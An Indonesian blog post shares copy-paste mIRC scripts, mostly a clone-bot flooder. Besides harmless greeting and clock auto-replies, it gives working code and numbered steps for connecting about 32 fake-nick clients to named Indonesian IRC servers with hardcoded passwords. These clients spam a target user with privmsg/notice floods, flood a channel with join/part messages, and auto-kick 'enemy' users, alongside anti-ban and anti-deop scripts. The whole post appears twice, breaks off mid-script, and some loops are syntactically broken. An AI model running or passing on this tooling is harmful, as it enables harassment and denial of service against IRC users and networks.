SCRIPT mIRC BOT PALING LENGKAP
Kenapa saya kasih judul posting saya ini dengan judul
SCRIPT mIRC BOT PALING LENGKAP ????????
jawaban :
Soalnya Script lengkap disini bukan sembarangan Script
Disini ada beberapa kumpulan Script mIRC simpel yang sebenarnya koleksi untuk pribadi
Dan semuanya gratis tinggal copas tanpa anda download script ini sudah bisa digunakan
Script yang tercantum diantaranya adalah :
- Script Auto salam otomatis jawab salam
- Script jam otomatis tampilkan jam bila teman anda menanyakan jam
- Script Anti ban Anda tidak bisa dibanned jika anda OP channel
- Script Auto jawab di PV setiap user lain PV anda, and akan auto jawab
- Script Auto notice jawab jika ada yang panggil nama anda
- Script Auto ban ngebanned user yang quit dengan pesan (exces flood)
- Script bikin puluhan bot untuk ngeflood baca cara pangaktifannya
- Script Anti Deop acces anda akan naik otomatis jika di DEOP
- Script Anti slap yang Slaps anda pasti akan di kick
- dan Sript lainnya Script2 disini banyak kegunaannya dalam chat di mIRC Anda tinggal mengcopynya saja ke remote mIRC anda. Ganti juga NICK botnya nick berada setelah jeda alias -l shift.nick
Silahkan baca selanjutnya
CARA MENGESET PULUHAN BOT UNTUK FLOOD
1. klo script ini sudah di ganti nick botnya Copykan Scriptnya ke remote anda trs kasih perintah remote on cnth : /remote on tulis di mirc
2. ketik di mIRC .mlebu #namachanel t4 join bot . contoh : .mlebu #matrix
3. ketik .load
4. ketik .muach nickygmaudiflood. contoh : .muach Co_sendiri buat flood nick.
5. ketik .chan #chan yng akan diflood atau di joini. contoh : .chan #matrix
6. ketik .flood perintah flood chan
7. ketik .join perintah join bot
8. ketik .metu buat matiin botnya
BERIKUT DIBAWAH INI SCRIPT LengkapNYA . YANG HARUS DI EDIT DAN DI COPY KAN DI REMOTE ANDA
on *:text:*assalam*:#:/msg $chan wa'alaikumsalam $nick on *:text:*asalam*:#:/msg $chan 12wa'alaikumsalam $nick on *:text:*asalm*:#:/msg $chan 13wa'alaikumsalam $nick on *:text:*aslm*:#:/msg $chan 7wa'alaikumsalam $nick on *:text:*ask*:#:/msg $chan 8wa'alaikumsalam $nick on *:text:*wassa*:#:/msg $chan 8wa'alaikumsalam $nick on *:text:*salakum*:#:/msg $chan 14wa'alaikumsalam $nick on *:text:*asakum*:#:/msg $chan 11wa'alaikumsalam $nick on *:text:*dony*:#:/msg $chan ya ? on *:text:*jam*:#:/msg $chan 0,1[ $time ] 5,0 on 0,2 [KOTA PEKALONGAN] , Jam $time WIB , tgl $date . on @*:BAN:#:{ if ($banmask iswm $ial($me)) { mode $chan -bb $nick $banmask } } on *:TEXT:*donny*:#://notice $nick ya on 1:TEXT:*:?:/msg $nick . on ^open*:query :?: if ( $query(5) > 0 ) halt
on *:NICK: {
set -u70 %fld. [ $+ [ $address ] ] $calc( %fld. [ $+ [ $address ] ] + 1)
if (%fld. [ $+ [ $address ] ] >= 5) {
var %i = 0
while (%i < $comchan($newnick,0)) { inc %i ban -u10 $comchan($newnick,%i) $newnick 2 kick $comchan($newnick,%i) $newnick gonta ganti nick termasuk NGE-flood (kamu di banned 3 detik) } } } on *:QUIT:{ if ($1- == Excess flood) { var %n = 1 | while ($comchan($nick,%n)) { var %ifmatch = $ifmatch | if ($me isop %ifmatch) { mode %ifmatch +b $site } | inc %n } } } alias -l shift.nick { return nokia_centre nokia_3315 nokia_3315 nokia_3210 nokia_6600 nokia6630 nokia_6680 nokia_7610 nokia5310 nokia_5330 nokia_N70 nokia_N80 nokia_N83 nokia_N90 nokia_N93 nokia_2600 nokia_1600 nokia_1200 nokia_1208 nokia_1209 LG_KG300 LG_KG700 LG_KG900 VIRTUVI LG_KG600 JUAL_HP COUNTER_HP HP_CENTRE MOTOROLA K-TOUCH MENTARI_CELL N-GAGE } alias -l shift.iden { return Shell cwe aku c dieyat ini awas calon mulo War nj c c aku team awas calon koe War nj c a lak cium selalu tia melanie karena cuma koneksi pokoknya gue kamu } alias -l shift.serv { return irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.uii.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id } alias -l shift.port { return 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 } alias -l shift.pass { return bignet63 bignet73 bignet56 Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa Virus bignet43 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa bignet17 bignet18 bignet19 bignet20 bignet21 bignet22 bignet23 bignet37 bignet25 bignet26 bignet27 bignet28 } on *:exit:{ hfree -w enemy.* unset %shift.* } on *:sockopen:*:{ if ($findtok($shift.nick,$sockname,32)) { set %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] $sockname if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) connected: $sockname
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
}
on *:sockclose:*:{
if ($findtok($shift.nick,$sockname,32)) {
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) disconnected
var %shift.l = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.l 1 $calc(%shift.l * 5) sockopen $gettok($shift.nick,%shift.l,32) $gettok($shift.serv,%shift.l,32) $gettok($shift.port,%shift.l,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc %shift.d } } } on *:sockread:*:{ if ($findtok($shift.nick,$sockname,32)) { if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
:next
sockread -f %shift.i
if ($sockbr == 0) { return }
tokenize 32 %shift.i
if (($2 == mode) && ($3 == $shift.chan)) {
if (+o isin $4) {
if (($5 == $sockname) || ($6 == $sockname) || ($7 == $sockname) || ($8 == $sockname)) {
if ($me ison $shift.chan) {
unset %shift.s
var %shift.j = $nick($shift.chan,0)
while %shift.j {
if ($hfind(enemy.nick,$nick($shift.chan,%shift.j),0,W)) { sockwrite -nt $sockname kick $shift.chan $nick($shift.chan,%shift.j) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
dec %shift.j
}
}
else {
sockwrite -nt $sockname kick $shift.chan %s :Z
unset %shift.s
}
}
}
}
elseif (($2 == join) && ($shift.chan isin $3)) {
if ($hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me)) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
}
elseif ($hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W)) {
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) : 15,14*** 5,5 $+ $chr(32) $+ 0,1 P r 4e 0ma N shift 5,5 $+ $chr(32) $+ 15,14***
}
}
elseif (($2 == kick) && ($3 == $shift.chan)) {
if (($4 == $sockname) || ($4 == $me)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && ($me !ison $shift.chan)) { set %shift.s $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && (!$hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W))) { hadd -m enemy.nick $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
if ($4 == $sockname) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc %shift.d } } elseif ($4 == $me) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :zoro } } } elseif (($2 == metu) && ($gettok($mid($1,2,$len($1)),1,33) == $sockname)) { sockclose $sockname unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] var %shift.k = $findtok($shift.nick,$sockname,32) .timershift $+ %shift.k 1 $calc(%shift.k * 5) sockopen $gettok($shift.nick,%shift.k,32) $gettok($shift.serv,%shift.k,32) $gettok($shift.port,%shift.k,32) if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif ($2 == 001) { sockwrite -nt $sockname join %shift.mlebu if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif ($2 == 451) { sockwrite -nt $sockname $1- nick $sockname sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :- sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32) } elseif ($2 == 474) { if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif (($1 == ping) && ($2)) { sockwrite -nt $sockname pong $2- } goto next } } on *:input:*: { if ($1 == .load) { .clear -s var %shift.a = 1 while (%shift.a <= $numtok($shift.nick,32)) { if (!$sock($gettok($shift.nick,%shift.a,32))) { .timershift $+ %shift.a 1 $calc(%shift.a * 5) sockopen $gettok($shift.nick,%shift.a,32) $gettok($shift.serv,%shift.a,32) $gettok($shift.port,%shift.a,32) } inc %shift.a } } if ($1 == .metu) { .clear -s var %shift.b = 1 while (%shift.b <= $numtok($shift.nick,32)) { if ($sock($gettok($shift.nick,%shift.b,32))) { sockclose $gettok($shift.nick,%shift.b,32) echo -s $chr(35) $+ %shift.b disconnected } inc %shift.b } .timershift* off unset %shift.d %shift.m* } if ($1 == .mlebu) { echo -s $chr(35) %shift.mlebu #$2 | set %shift.mlebu #$2 } if ($1 == .chan) { set %shift.chan #$2 } if ($1 == .join) { var %shift.c = 1 while (%shift.c <= $numtok($shift.nick,32)) { if ($sock($gettok($shift.nick,%shift.c,32))) { sockwrite -nt $gettok($shift.nick,%shift.c,32) join %shift.chan set %shift.d %shift.c break } inc %shift.c } } if ($1 == .part) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part %shift.chan unset %shift.d } if ($1 == .muach) { .timer 5 1 sockwrite -nt * privmsg $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H .timer 5 1 sockwrite -nt * notice $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H M } if ($1 == .flood) { .timer 5 1 sockwrite -nt * join %shift.chan .timer 5 1 sockwrite -nt * part %shift.chan : 1,1 4A 14stagfìRuLLah 4H 14alladim.. 4A 14llohu.. 4A 14khbar... 4A 14llohu.. 4A 14khbar.. 4A 14llohu.. 4A 14khbar...!!! } } on !*:DEOP:#:{ if ($opnick === $me) { cs op # $me } } on *:ACTION:$(*slaps $me $+ *):*: { if ($nick == $me) { halt } if ($me isop $chan) { /raw -q kick $chan $nick kenapa!! } if ($me isop $chan) { /raw -q kick $chan $nick kenapa!! } #antislaps end SELAMAT MENCOBA !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! by : matrix
SCRIPT mIRC BOT PALING LENGKAP ????????
jawaban :
Soalnya Script lengkap disini bukan sembarangan Script
Disini ada beberapa kumpulan Script mIRC simpel yang sebenarnya koleksi untuk pribadi
Dan semuanya gratis tinggal copas tanpa anda download script ini sudah bisa digunakan
Script yang tercantum diantaranya adalah :
- Script Auto salam otomatis jawab salam
- Script jam otomatis tampilkan jam bila teman anda menanyakan jam
- Script Anti ban Anda tidak bisa dibanned jika anda OP channel
- Script Auto jawab di PV setiap user lain PV anda, and akan auto jawab
- Script Auto notice jawab jika ada yang panggil nama anda
- Script Auto ban ngebanned user yang quit dengan pesan (exces flood)
- Script bikin puluhan bot untuk ngeflood baca cara pangaktifannya
- Script Anti Deop acces anda akan naik otomatis jika di DEOP
- Script Anti slap yang Slaps anda pasti akan di kick
- dan Sript lainnya Script2 disini banyak kegunaannya dalam chat di mIRC Anda tinggal mengcopynya saja ke remote mIRC anda. Ganti juga NICK botnya nick berada setelah jeda alias -l shift.nick
Silahkan baca selanjutnya
CARA MENGESET PULUHAN BOT UNTUK FLOOD
1. klo script ini sudah di ganti nick botnya Copykan Scriptnya ke remote anda trs kasih perintah remote on cnth : /remote on tulis di mirc
2. ketik di mIRC .mlebu #namachanel t4 join bot . contoh : .mlebu #matrix
3. ketik .load
4. ketik .muach nickygmaudiflood. contoh : .muach Co_sendiri buat flood nick.
5. ketik .chan #chan yng akan diflood atau di joini. contoh : .chan #matrix
6. ketik .flood perintah flood chan
7. ketik .join perintah join bot
8. ketik .metu buat matiin botnya
BERIKUT DIBAWAH INI SCRIPT LengkapNYA . YANG HARUS DI EDIT DAN DI COPY KAN DI REMOTE ANDA
on *:text:*assalam*:#:/msg $chan wa'alaikumsalam $nick on *:text:*asalam*:#:/msg $chan 12wa'alaikumsalam $nick on *:text:*asalm*:#:/msg $chan 13wa'alaikumsalam $nick on *:text:*aslm*:#:/msg $chan 7wa'alaikumsalam $nick on *:text:*ask*:#:/msg $chan 8wa'alaikumsalam $nick on *:text:*wassa*:#:/msg $chan 8wa'alaikumsalam $nick on *:text:*salakum*:#:/msg $chan 14wa'alaikumsalam $nick on *:text:*asakum*:#:/msg $chan 11wa'alaikumsalam $nick on *:text:*dony*:#:/msg $chan ya ? on *:text:*jam*:#:/msg $chan 0,1[ $time ] 5,0 on 0,2 [KOTA PEKALONGAN] , Jam $time WIB , tgl $date . on @*:BAN:#:{ if ($banmask iswm $ial($me)) { mode $chan -bb $nick $banmask } } on *:TEXT:*donny*:#://notice $nick ya on 1:TEXT:*:?:/msg $nick . on ^open*:query :?: if ( $query(5) > 0 ) halt
on *:NICK: {
set -u70 %fld. [ $+ [ $address ] ] $calc( %fld. [ $+ [ $address ] ] + 1)
if (%fld. [ $+ [ $address ] ] >= 5) {
var %i = 0
while (%i < $comchan($newnick,0)) { inc %i ban -u10 $comchan($newnick,%i) $newnick 2 kick $comchan($newnick,%i) $newnick gonta ganti nick termasuk NGE-flood (kamu di banned 3 detik) } } } on *:QUIT:{ if ($1- == Excess flood) { var %n = 1 | while ($comchan($nick,%n)) { var %ifmatch = $ifmatch | if ($me isop %ifmatch) { mode %ifmatch +b $site } | inc %n } } } alias -l shift.nick { return nokia_centre nokia_3315 nokia_3315 nokia_3210 nokia_6600 nokia6630 nokia_6680 nokia_7610 nokia5310 nokia_5330 nokia_N70 nokia_N80 nokia_N83 nokia_N90 nokia_N93 nokia_2600 nokia_1600 nokia_1200 nokia_1208 nokia_1209 LG_KG300 LG_KG700 LG_KG900 VIRTUVI LG_KG600 JUAL_HP COUNTER_HP HP_CENTRE MOTOROLA K-TOUCH MENTARI_CELL N-GAGE } alias -l shift.iden { return Shell cwe aku c dieyat ini awas calon mulo War nj c c aku team awas calon koe War nj c a lak cium selalu tia melanie karena cuma koneksi pokoknya gue kamu } alias -l shift.serv { return irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.uii.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id irc.big.net.id } alias -l shift.port { return 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 } alias -l shift.pass { return bignet63 bignet73 bignet56 Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa Virus bignet43 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa bignet17 bignet18 bignet19 bignet20 bignet21 bignet22 bignet23 bignet37 bignet25 bignet26 bignet27 bignet28 } on *:exit:{ hfree -w enemy.* unset %shift.* } on *:sockopen:*:{ if ($findtok($shift.nick,$sockname,32)) { set %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] $sockname if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) connected: $sockname
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
}
on *:sockclose:*:{
if ($findtok($shift.nick,$sockname,32)) {
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) disconnected
var %shift.l = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.l 1 $calc(%shift.l * 5) sockopen $gettok($shift.nick,%shift.l,32) $gettok($shift.serv,%shift.l,32) $gettok($shift.port,%shift.l,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc %shift.d } } } on *:sockread:*:{ if ($findtok($shift.nick,$sockname,32)) { if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
:next
sockread -f %shift.i
if ($sockbr == 0) { return }
tokenize 32 %shift.i
if (($2 == mode) && ($3 == $shift.chan)) {
if (+o isin $4) {
if (($5 == $sockname) || ($6 == $sockname) || ($7 == $sockname) || ($8 == $sockname)) {
if ($me ison $shift.chan) {
unset %shift.s
var %shift.j = $nick($shift.chan,0)
while %shift.j {
if ($hfind(enemy.nick,$nick($shift.chan,%shift.j),0,W)) { sockwrite -nt $sockname kick $shift.chan $nick($shift.chan,%shift.j) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
dec %shift.j
}
}
else {
sockwrite -nt $sockname kick $shift.chan %s :Z
unset %shift.s
}
}
}
}
elseif (($2 == join) && ($shift.chan isin $3)) {
if ($hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me)) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
}
elseif ($hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W)) {
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) : 15,14*** 5,5 $+ $chr(32) $+ 0,1 P r 4e 0ma N shift 5,5 $+ $chr(32) $+ 15,14***
}
}
elseif (($2 == kick) && ($3 == $shift.chan)) {
if (($4 == $sockname) || ($4 == $me)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && ($me !ison $shift.chan)) { set %shift.s $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && (!$hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W))) { hadd -m enemy.nick $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
if ($4 == $sockname) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc %shift.d } } elseif ($4 == $me) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :zoro } } } elseif (($2 == metu) && ($gettok($mid($1,2,$len($1)),1,33) == $sockname)) { sockclose $sockname unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] var %shift.k = $findtok($shift.nick,$sockname,32) .timershift $+ %shift.k 1 $calc(%shift.k * 5) sockopen $gettok($shift.nick,%shift.k,32) $gettok($shift.serv,%shift.k,32) $gettok($shift.port,%shift.k,32) if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif ($2 == 001) { sockwrite -nt $sockname join %shift.mlebu if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif ($2 == 451) { sockwrite -nt $sockname $1- nick $sockname sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :- sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32) } elseif ($2 == 474) { if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan } while (%shift.d <= $numtok($shift.nick,32)) { if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 } if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) { sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan set %shift.d $calc(%shift.d + 1) break } inc % } } elseif (($1 == ping) && ($2)) { sockwrite -nt $sockname pong $2- } goto next } } on *:input:*: { if ($1 == .load) { .clear -s var %shift.a = 1 while (%shift.a <= $numtok($shift.nick,32)) { if (!$sock($gettok($shift.nick,%shift.a,32))) { .timershift $+ %shift.a 1 $calc(%shift.a * 5) sockopen $gettok($shift.nick,%shift.a,32) $gettok($shift.serv,%shift.a,32) $gettok($shift.port,%shift.a,32) } inc %shift.a } } if ($1 == .metu) { .clear -s var %shift.b = 1 while (%shift.b <= $numtok($shift.nick,32)) { if ($sock($gettok($shift.nick,%shift.b,32))) { sockclose $gettok($shift.nick,%shift.b,32) echo -s $chr(35) $+ %shift.b disconnected } inc %shift.b } .timershift* off unset %shift.d %shift.m* } if ($1 == .mlebu) { echo -s $chr(35) %shift.mlebu #$2 | set %shift.mlebu #$2 } if ($1 == .chan) { set %shift.chan #$2 } if ($1 == .join) { var %shift.c = 1 while (%shift.c <= $numtok($shift.nick,32)) { if ($sock($gettok($shift.nick,%shift.c,32))) { sockwrite -nt $gettok($shift.nick,%shift.c,32) join %shift.chan set %shift.d %shift.c break } inc %shift.c } } if ($1 == .part) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part %shift.chan unset %shift.d } if ($1 == .muach) { .timer 5 1 sockwrite -nt * privmsg $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H .timer 5 1 sockwrite -nt * notice $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H M } if ($1 == .flood) { .timer 5 1 sockwrite -nt * join %shift.chan .timer 5 1 sockwrite -nt * part %shift.chan : 1,1 4A 14stagfìRuLLah 4H 14alladim.. 4A 14llohu.. 4A 14khbar... 4A 14llohu.. 4A 14khbar.. 4A 14llohu.. 4A 14khbar...!!! } } on !*:DEOP:#:{ if ($opnick === $me) { cs op # $me } } on *:ACTION:$(*slaps $me $+ *):*: { 